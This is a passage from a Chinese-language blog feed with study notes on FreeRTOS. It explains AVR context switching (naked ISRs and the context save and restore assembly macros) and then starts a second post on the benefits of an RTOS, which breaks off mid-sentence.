代码由编译器生成,从应用程序的C代码编译而来</span><br><span class="line"></span><br><span class="line"> ;vTaskIncrementTick();</span><br><span class="line"> CALL <span class="number">0x0000029B</span> ;Call subroutine</span><br><span class="line"></span><br><span class="line"> ; ---------------------------------------</span><br><span class="line"></span><br><span class="line"> ; NO COMPILER GENERATED CODE HERE TO RESTORE</span><br><span class="line"> ; THE REGISTERS OR RETURN FROM THE ISR.</span><br><span class="line"> ; 这里也[没有]恢复之前保存的寄存器的代码</span><br><span class="line"> ; ---------------------------------------</span><br><span class="line">;}</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p>使用“naked”属性时,编译器不会生成<em>任何</em>函数入口或出口代码,因此现在必须明确添加。RTOS 宏 portSAVE_CONTEXT() 和 portRESTORE_CONTEXT() 分别保存和恢复整个执行上下文。:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SIG_OUTPUT_COMPARE1A</span><span class="params">( <span class="keyword">void</span> )</span> __<span class="title">attribute__</span> <span class="params">( ( signal, naked ) )</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SIG_OUTPUT_COMPARE1A</span><span class="params">( <span class="keyword">void</span> )</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="comment">/* Macro that explicitly saves the execution</span></span><br><span class="line"><span class="comment"> context. */</span></span><br><span class="line"> portSAVE_CONTEXT();</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* ISR C code for RTOS tick. */</span></span><br><span class="line"> vPortYieldFromTick();</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Macro that explicitly restores the</span></span><br><span class="line"><span class="comment"> execution context. */</span></span><br><span class="line"> portRESTORE_CONTEXT();</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* The return from interrupt call must also</span></span><br><span class="line"><span class="comment"> be explicitly added. */</span></span><br><span class="line"> <span class="comment">/* 从中断中返回的调用必须显式地加入 */</span></span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">( <span class="string">"reti"</span> )</span></span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>‘naked’ 属性使应用程序代码可以完全控制何时以及如何保存 AVR 上下文。如果应用程序代码在进入 ISR 时保存了整个上下文,则在执行上下文切换之前无需再次保存它,因此没有处理器寄存器被保存两次。</p><h3 id="FreeRTOS-Tick-Code"><a href="#FreeRTOS-Tick-Code" class="headerlink" title="FreeRTOS Tick Code"></a>FreeRTOS Tick Code</h3><p>FreeRTOS AVR 端口使用的实际源代码与前几页中显示的示例略有不同。vPortYieldFromTick() 本身作为“裸”函数实现,上下文在 vPortYieldFromTick() 中保存和恢复。这是由于非抢占式上下文切换(任务自身阻塞)的实现而以这种方式完成的——这里没有描述。</p><p>因此,RTOS tick 的 FreeRTOS 实现是<em>(有关更多详细信息,请参阅源代码片段中的注释)</em>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SIG_OUTPUT_COMPARE1A</span><span class="params">( <span class="keyword">void</span> )</span> __<span class="title">attribute__</span> <span class="params">( ( signal, naked ) )</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">vPortYieldFromTick</span><span class="params">( <span class="keyword">void</span> )</span> __<span class="title">attribute__</span> <span class="params">( ( naked ) )</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*--------------------------------------------------*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Interrupt service routine for the RTOS tick. */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SIG_OUTPUT_COMPARE1A</span><span class="params">( <span class="keyword">void</span> )</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="comment">/* Call the tick function. */</span></span><br><span class="line"> vPortYieldFromTick();</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Return from the interrupt. If a context</span></span><br><span class="line"><span class="comment"> switch has occurred this will return to a </span></span><br><span class="line"><span class="comment"> different task. */</span></span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">( <span class="string">"reti"</span> )</span></span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">/*--------------------------------------------------*/</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">vPortYieldFromTick</span><span class="params">( <span class="keyword">void</span> )</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="comment">/* This is a naked function so the context</span></span><br><span class="line"><span class="comment"> is saved. */</span></span><br><span class="line"> <span class="comment">// 裸函数,一次上下文被保存</span></span><br><span class="line"> portSAVE_CONTEXT();</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Increment the tick count and check to see</span></span><br><span class="line"><span class="comment"> if the new tick value has caused a delay</span></span><br><span class="line"><span class="comment"> period to expire. This function call can</span></span><br><span class="line"><span class="comment"> cause a task to become ready to run. */</span></span><br><span class="line"> <span class="comment">// 增加tick计数,检查新的tick值是否造成了(某个应用程序的)延迟过期,这个function调用可以造成一个任务变成准备好运行的状态</span></span><br><span class="line"> vTaskIncrementTick();</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* See if a context switch is required. </span></span><br><span class="line"><span class="comment"> Switch to the context of a task made ready</span></span><br><span class="line"><span class="comment"> to run by vTaskIncrementTick() if it has a</span></span><br><span class="line"><span class="comment"> priority higher than the interrupted task. */</span></span><br><span class="line"> <span class="comment">// 观察是否需要上下文切换。切换到一个由vTaskIncrementTick准备好的去运行的任务(如果这个任务的优先级比被中断的那个任务高的话)</span></span><br><span class="line"> vTaskSwitchContext();</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Restore the context. If a context switch</span></span><br><span class="line"><span class="comment"> has occurred this will restore the context of</span></span><br><span class="line"><span class="comment"> the task being resumed. */</span></span><br><span class="line"> <span class="comment">// 恢复上下文,如果发生上下文切换,这将恢复正在回复的任务的上下文</span></span><br><span class="line"> portRESTORE_CONTEXT();</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Return from this naked function. */</span></span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">( <span class="string">"ret"</span> )</span></span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">/*--------------------------------------------------*/</span></span><br></pre></td></tr></table></figure><h3 id="The-AVR-Context"><a href="#The-AVR-Context" class="headerlink" title="The AVR Context"></a>The AVR Context</h3><p>上下文切换需要保存整个执行上下文。在 AVR 微控制器上,上下文包括:</p><ul><li>32 个通用处理器寄存器。gcc 开发工具假定寄存器 R1 设置为零。</li><li>状态寄存器。状态寄存器的值会影响指令的执行,并且必须在上下文切换时保留。</li><li>程序计数器。恢复后,任务必须从暂停前即将执行的指令继续执行。</li><li>两个堆栈指针寄存器。</li></ul><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AVRContext.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AVRContext.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="AVR上下文.gif"></p><h3 id="Saving-the-RTOS-Task-Context"><a href="#Saving-the-RTOS-Task-Context" class="headerlink" title="Saving the RTOS Task Context"></a>Saving the RTOS Task Context</h3><p>每个实时任务都有自己的堆栈内存区域,因此可以通过简单地将处理器寄存器压入任务堆栈来保存上下文。保存 AVR 上下文是汇编代码不可避免的地方之一。</p><p>portSAVE_CONTEXT() 被实现为一个宏,其源代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> portSAVE_CONTEXT() </span></span><br><span class="line"><span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">( </span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"push r0 nt"</span> (<span class="number">1</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"in r0, __SREG__ nt"</span> (<span class="number">2</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"cli nt"</span> (<span class="number">3</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"push r0 nt"</span> (<span class="number">4</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"push r1 nt"</span> (<span class="number">5</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"clr r1 nt"</span> (<span class="number">6</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"push r2 nt"</span> (<span class="number">7</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"push r3 nt"</span> </span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"push r4 nt"</span> </span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"push r5 nt"</span> </span></span></span><br><span class="line"><span class="params"><span class="function"></span></span></span><br><span class="line"><span class="params"><span class="function"> :</span></span></span><br><span class="line"><span class="params"><span class="function"> :</span></span></span><br><span class="line"><span class="params"><span class="function"> :</span></span></span><br><span class="line"><span class="params"><span class="function"></span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"push r30 nt"</span> </span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"push r31 nt"</span> </span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="comment">// LDS指令從存儲器取出32位地址的指令 LDS,格式有LDS OPRD1,OPRD2。</span></span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"lds r26, pxCurrentTCB nt"</span> (<span class="number">8</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"lds r27, pxCurrentTCB + 1 nt"</span> (<span class="number">9</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"in r0, __SP_L__ nt"</span> (<span class="number">10</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"st x+, r0 nt"</span> (<span class="number">11</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"in r0, __SP_H__ nt"</span> (<span class="number">12</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"st x+, r0 nt"</span> (<span class="number">13</span>)</span></span></span><br><span class="line"><span class="params"><span class="function">)</span></span>;</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p>参考上面的源代码:</p><ul><li>处理器寄存器R0首先被保存,因为它在保存状态寄存器(2)时被使用,并且必须用它的原始值保存。</li><li>状态寄存器被移入 R0 (2),因此可以将其保存到堆栈 (4) 中。</li><li>处理器中断被禁用 (3)。如果 portSAVE_CONTEXT() 仅从 ISR 中调用,则无需显式禁用中断,因为 AVR 已经这样做了。由于 portSAVE_CONTEXT() 宏也在中断服务例程之外使用(当任务自行挂起时),因此必须尽早明确清除中断。</li><li>编译器根据 ISR C 源代码生成的代码假定 R1 设置为零。在清除 (6) R1 之前保存 (5) R1 的原始值。</li><li>在 (7) 和 (8) 之间,所有剩余的处理器寄存器都按数字顺序保存。</li><li>被挂起的任务堆栈现在包含任务执行上下文的副本。内核存储任务堆栈指针,以便在恢复任务时可以检索和恢复上下文。X 处理器寄存器载入要保存堆栈指针的地址(8 和 9)。</li><li>堆栈指针被保存,首先是低字节(10 和 11),然后是高半字节(12 和 13)。</li></ul><h3 id="Restoring-the-Context"><a href="#Restoring-the-Context" class="headerlink" title="Restoring the Context"></a>Restoring the Context</h3><p>RTOS 宏 portRESTORE_CONTEXT() 与 portSAVE_CONTEXT() 相反。正在恢复的任务的上下文先前存储在任务堆栈中。实时内核检索任务的堆栈指针,然后将上下文 POP 返回到正确的处理器寄存器中。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> portRESTORE_CONTEXT() </span></span><br><span class="line"><span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"lds r26, pxCurrentTCB nt"</span> (<span class="number">1</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"lds r27, pxCurrentTCB + 1 nt"</span> (<span class="number">2</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"ld r28, x+ nt"</span> </span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"out __SP_L__, r28 nt"</span> (<span class="number">3</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"ld r29, x+ nt"</span> </span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"out __SP_H__, r29 nt"</span> (<span class="number">4</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"pop r31 nt"</span> </span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"pop r30 nt"</span> </span></span></span><br><span class="line"><span class="params"><span class="function"></span></span></span><br><span class="line"><span class="params"><span class="function"> :</span></span></span><br><span class="line"><span class="params"><span class="function"> :</span></span></span><br><span class="line"><span class="params"><span class="function"> :</span></span></span><br><span class="line"><span class="params"><span class="function"></span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"pop r1 nt"</span> </span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"pop r0 nt"</span> (<span class="number">5</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"out __SREG__, r0 nt"</span> (<span class="number">6</span>)</span></span></span><br><span class="line"><span class="params"><span class="function"> <span class="string">"pop r0 nt"</span> (<span class="number">7</span>)</span></span></span><br><span class="line"><span class="params"><span class="function">)</span></span>;</span><br></pre></td></tr></table></figure><p>参考上面的代码:</p><ul><li>FreeRTOS <strong>pxCurrentTCB 变量保存可从中检索任务堆栈指针的地址</strong>。这被加载到 X 寄存器(1 和 2)中。</li><li><strong>正在恢复的任务的堆栈指针被加载到 AVR 堆栈指针中</strong>,首先是低字节 (3),然后是高半字节 (4)。</li><li>然后<strong>处理器寄存器以相反的数字顺序从堆栈中弹出</strong>,直到 R1。</li><li>状态寄存器存储在寄存器 R1 和 R0 之间的堆栈中,因此在 R0 (7) 之前恢复 (6)。</li></ul><h2 id="详细示例-Detailed-Example"><a href="#详细示例-Detailed-Example" class="headerlink" title="详细示例 Detailed Example"></a>详细示例 Detailed Example</h2><h3 id="RTOS-Context-Switch-Step-1"><a href="#RTOS-Context-Switch-Step-1" class="headerlink" title="RTOS Context Switch - Step 1"></a>RTOS Context Switch - Step 1</h3><p><strong><em>Prior to the RTOS tick interrupt 在 RTOS tick中断之前</em></strong></p><p>此示例从执行 TaskA 开始。TaskB 之前已被挂起,因此其上下文已存储在 TaskB 堆栈中。</p><p>TaskA 具有下图所示的上下文。</p><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB1.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB1.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="AtoB1.gif"></p><p>每个寄存器中的 (A) 标签表明该寄存器包含任务 A 上下文的正确值。</p><h3 id="RTOS-Context-Switch-Step-2"><a href="#RTOS-Context-Switch-Step-2" class="headerlink" title="RTOS Context Switch - Step 2"></a>RTOS Context Switch - Step 2</h3><p><strong><em>The RTOS tick interrupt occurs 出现 RTOS tick 中断</em></strong></p><p>RTOS tick发生在 TaskA 即将执行 LDI 指令时。当中断发生时,AVR 微控制器会自动将当前程序计数器 (PC) 放入堆栈,然后跳转到 RTOS 节拍 ISR 的开始。</p><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB2.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB2.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="AtoB2.gif 格式"></p><h3 id="RTOS-Context-Switch-Step-3"><a href="#RTOS-Context-Switch-Step-3" class="headerlink" title="RTOS Context Switch - Step 3"></a>RTOS Context Switch - Step 3</h3><p><strong><em>The RTOS tick interrupt executes 执行RTOS tick 中断</em></strong></p><p>ISR 源代码如下。为了便于阅读,注释已被删除,但可以在上一页查看。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Interrupt service routine for the RTOS tick. */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SIG_OUTPUT_COMPARE1A</span><span class="params">( <span class="keyword">void</span> )</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> vPortYieldFromTick();</span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">( <span class="string">"reti"</span> )</span></span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">/*--------------------------------------------------*/</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">vPortYieldFromTick</span><span class="params">( <span class="keyword">void</span> )</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> portSAVE_CONTEXT();</span><br><span class="line"></span><br><span class="line"> vTaskIncrementTick();</span><br><span class="line"> vTaskSwitchContext();</span><br><span class="line"> portRESTORE_CONTEXT();</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">( <span class="string">"ret"</span> )</span></span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">/*--------------------------------------------------*/</span></span><br></pre></td></tr></table></figure><p>SIG_OUTPUT_COMPARE1A() 是一个裸函数,所以第一条指令是调用 vPortYieldFromTick()。vPortYieldFromTick() 也是一个裸函数,因此通过调用 portSAVE_CONTEXT() 显式保存 AVR 执行上下文。</p><p>portSAVE_CONTEXT() 将整个 AVR 执行上下文压入 TaskA 的堆栈,导致堆栈如下图所示。TaskA 的堆栈指针现在指向其自身上下文的顶部。portSAVE_CONTEXT() 通过存储堆栈指针的副本来完成。实时内核已经拥有 TaskB 堆栈指针的副本——上次 TaskB 被挂起时获取。</p><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB3.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB3.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="AtoB3.gif"></p><h3 id="RTOS-Context-Switch-Step-4"><a href="#RTOS-Context-Switch-Step-4" class="headerlink" title="RTOS Context Switch - Step 4"></a>RTOS Context Switch - Step 4</h3><p><strong><em>Incrementing the Tick Count 增加 tick 计数</em></strong></p><p>RTOS 函数 vTaskIncrementTick() 在保存 TaskA 上下文后执行。出于本示例的目的,假设增加滴答计数已导致 TaskB 准备好运行。TaskB 的优先级高于 TaskA,因此当 ISR 完成时,vTaskSwitchContext() 选择 TaskB 作为要给予处理时间的任务。</p><h3 id="RTOS-Context-Switch-Step-5"><a href="#RTOS-Context-Switch-Step-5" class="headerlink" title="RTOS Context Switch - Step 5"></a>RTOS Context Switch - Step 5</h3><p><strong><em>The TaskB stack pointer is retrieved 检索 TaskB 堆栈指针</em></strong></p><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB4.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB4.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="AtoB4.gif"></p><p>必须恢复 TaskB 上下文。RTOS 宏 <strong>portRESTORE_CONTEXT</strong> 做的第一件事是<strong>从 TaskB 暂停时获取的副本中检索 TaskB 堆栈指针</strong>。TaskB 堆栈指针被加载到处理器堆栈指针中,所以现在 AVR 堆栈指向 TaskB 上下文的顶部。</p><h3 id="RTOS-Context-Switch-Step-6"><a href="#RTOS-Context-Switch-Step-6" class="headerlink" title="RTOS Context Switch - Step 6"></a>RTOS Context Switch - Step 6</h3><p><strong><em>Restore the TaskB context 恢复 TaskB 上下文</em></strong></p><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB5.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB5.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="AtoB5.gif"></p><p>portRESTORE_CONTEXT() 通过将 TaskB 上下文从其堆栈恢复到适当的处理器寄存器中来完成。</p><p>只有程序计数器保留在堆栈中。</p><h3 id="RTOS-Context-Switch-Step-7"><a href="#RTOS-Context-Switch-Step-7" class="headerlink" title="RTOS Context Switch - Step 7"></a>RTOS Context Switch - Step 7</h3><p><strong><em>The RTOS tick exits 退出 RTOS tick</em></strong></p><p>vPortYieldFromTick() 返回到 SIG_OUTPUT_COMPARE1A(),其中最终指令是从中断返回 (RETI)。</p><p><strong>RETI 指令假定堆栈上的下一个值是中断发生时放置在堆栈上的返回地址</strong>。</p><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB6.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/AtoB6.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="AtoB6.gif"></p><p>当 RTOS tick 中断开始时,AVR 自动将 TaskA 返回地址放入堆栈 - <strong>TaskA</strong>中要执行的下一条指令的地址。RTOS tick处理程序更改了堆栈指针,因此它现在指向<strong>TaskB</strong>堆栈。因此,通过 RETI 指令从堆栈弹出的返回地址实际上是<strong>TaskB</strong>在挂起之前将要执行的指令的地址。</p><p>RTOS tick 中断,中断了<strong>TaskA</strong>,但正在返回到<strong>TaskB</strong> -上下文切换已完成!</p>]]></content>
<summary type="html"><h1 id="RTOS构建"><a href="#RTOS构建" class="headerlink" title="RTOS构建"></a>RTOS构建</h1><h2 id="构建块-Building-Blocks"><a href="#构建块-Building-Block</summary>
<category term="RTOS" scheme="http://example.com/tags/RTOS/"/>
<category term="操作系统" scheme="http://example.com/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"/>
</entry>
<entry>
<title>RTOS学习-RTOS基础</title>
<link href="http://example.com/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E5%9F%BA%E7%A1%80/"/>
<id>http://example.com/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E5%9F%BA%E7%A1%80/</id>
<published>2022-12-14T13:07:38.000Z</published>
<updated>2022-12-14T13:09:20.006Z</updated>
<content type="html"><![CDATA[<h1 id="RTOS基础"><a href="#RTOS基础" class="headerlink" title="RTOS基础"></a>RTOS基础</h1><h2 id="为什么要使用-RTOS"><a href="#为什么要使用-RTOS" class="headerlink" title="为什么要使用 RTOS"></a>为什么要使用 RTOS</h2><p>您不需要使用 RTOS 来编写好的嵌入式软件。但是在某些时候,随着您的应用程序的大小或复杂性的增加,RTOS 的服务可能会因为下面列出的一个或多个原因而变得有益。这些不是绝对的,而是一点建议。与其他一切一样,为手头的工作选择合适的工具是任何项目的重要第一步。</p><p>简单来说:</p><ul><li><p>提取时间信息</p><p>实时调度程序实际上是一段代码,允许您指定应用程序的时间特性 - 允许出现大大简化了的、更小(因此更容易理解)的应用程序代码。</p></li></ul><ul><li><p>可维护性/可扩展性</p><p>代码中没有时间信息可以提高可维护性和可扩展性,因为软件模块之间的相互依赖性会减少。更改一个模块不应影响另一个模块的时间行为(取决于任务的优先级)。该软件也不太容易受到硬件变化的影响。例如,可以编写代码,使其暂时不受处理器频率变化的影响(在合理范围内)。</p></li></ul><ul><li><p>模块化</p><p>将您的应用程序组织为一组自主任务可以实现更有效的模块化。任务应该是松散耦合和功能内聚的单元,它们在自身内部以顺序方式执行。例如,无需将功能分解为微型状态机,以防止它们执行完成所需的时间过长。</p></li></ul><ul><li><p>更清洁的界面</p><p>明确定义的任务间通信接口有助于设计和团队开发。</p></li></ul><ul><li><p>更容易测试(在某些情况下)</p><p>无需添加可能已更改被测模块行为的工具即可执行任务接口。</p></li></ul><ul><li><p>代码重用</p><p>更大的模块化和更少的模块相互依赖性有助于跨项目重用代码。任务本身有助于项目内的代码重用。对于后者的示例,请考虑一个从 TCP/IP 堆栈接收连接的应用程序 - 可以生成相同的任务代码来处理每个连接 - 每个连接一个任务。</p></li></ul><ul><li><p>提高效率?</p><p>使用 FreeRTOS 允许任务阻塞事件 - 无论是临时事件还是系统外部事件。这意味着当实际上没有需要处理的事件时,不会浪费时间轮询或检查计时器。这可以大大节省处理器的使用。代码只在需要时执行。然而,与此相反的是需要运行 RTOS tick 以及在任务之间切换所花费的时间。节省是否超过开销或反之亦然取决于应用程序。大多数应用程序无论如何都会运行某种形式的 tick,因此将它与 tick 挂钩函数一起使用可以消除任何额外的开销。</p></li></ul><ul><li><p>空闲时间</p><p>使用 FreeRTOS.org 时很容易测量处理器负载。每当空闲任务运行时,您就知道处理器无事可做。空闲任务还提供了一种将处理器置于低功耗模式的非常简单和自动的方法。</p></li></ul><ul><li><p>灵活的中断处理</p><p>将中断触发的处理推迟到任务级别允许中断处理程序本身非常短 - 并且在任务级别处理完成时中断保持启用。此外,任务级别的处理允许灵活的优先级排序 - 比使用硬件本身分配给每个外设的优先级(取决于所使用的架构)更能实现。</p></li></ul><ul><li><p>混合处理要求</p><p>简单的设计模式可用于在您的应用程序中实现周期性、连续性和事件驱动处理的混合。此外,可以通过使用中断和任务优先级来满足硬实时和软实时要求。</p></li></ul><ul><li><p>更容易控制外围设备</p><p>Gatekeeper 任务促进了对外围设备访问的序列化 - 并提供了良好的互斥机制。</p></li></ul><ul><li>等等</li></ul><h2 id="多任务处理"><a href="#多任务处理" class="headerlink" title="多任务处理"></a>多任务处理</h2><p>内核是操作系统中的核心组件<strong>。</strong>Linux 